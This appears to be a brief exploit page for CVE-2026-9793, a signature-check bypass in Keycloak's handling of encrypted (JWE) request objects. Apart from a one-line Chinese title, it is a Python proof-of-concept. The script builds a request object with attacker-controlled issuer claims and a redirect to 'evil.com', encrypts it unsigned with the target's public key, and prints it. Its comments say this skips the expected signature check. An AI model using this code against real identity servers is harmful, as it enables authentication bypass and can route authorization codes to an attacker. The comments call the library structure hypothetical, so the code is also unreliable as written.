CVE-2026-9793 Keycloak JWE签名校验绕过漏洞

import json import jose.jwe from cryptography.hazmat.primitives import serialization # Target Keycloak's Public Key (PEM format) TARGET_PUBLIC_KEY_PEM = """-----BEGIN PUBLIC KEY----- ... (Target Key) ... -----END PUBLIC KEY-----""" # Malicious claims to be injected malicious_payload = { "iss": "https://attacker-controlled-issuer", "aud": "target-client-id", "response_type": "code", "client_id": "target-client-id", "redirect_uri": "https://evil.com/callback", # ... other claims to bypass policy } # Load the public key public_key = serialization.load_pem_public_key(TARGET_PUBLIC_KEY_PEM.encode()) # Create a JWE (JSON Web Encryption) containing raw JSON # This bypasses the internal JWS signature check expected by OIDC/FAPI # Note: Using a hypothetical JWE library structure for demonstration encrypted_request = jose.jwe.encrypt( json.dumps(malicious_payload).encode('utf-8'), public_key, algorithm="RSA-OAEP", encryption="A256GCM" ) print(f"Generated Malicious JWE Request Object: {encrypted_request.decode('utf-8')}")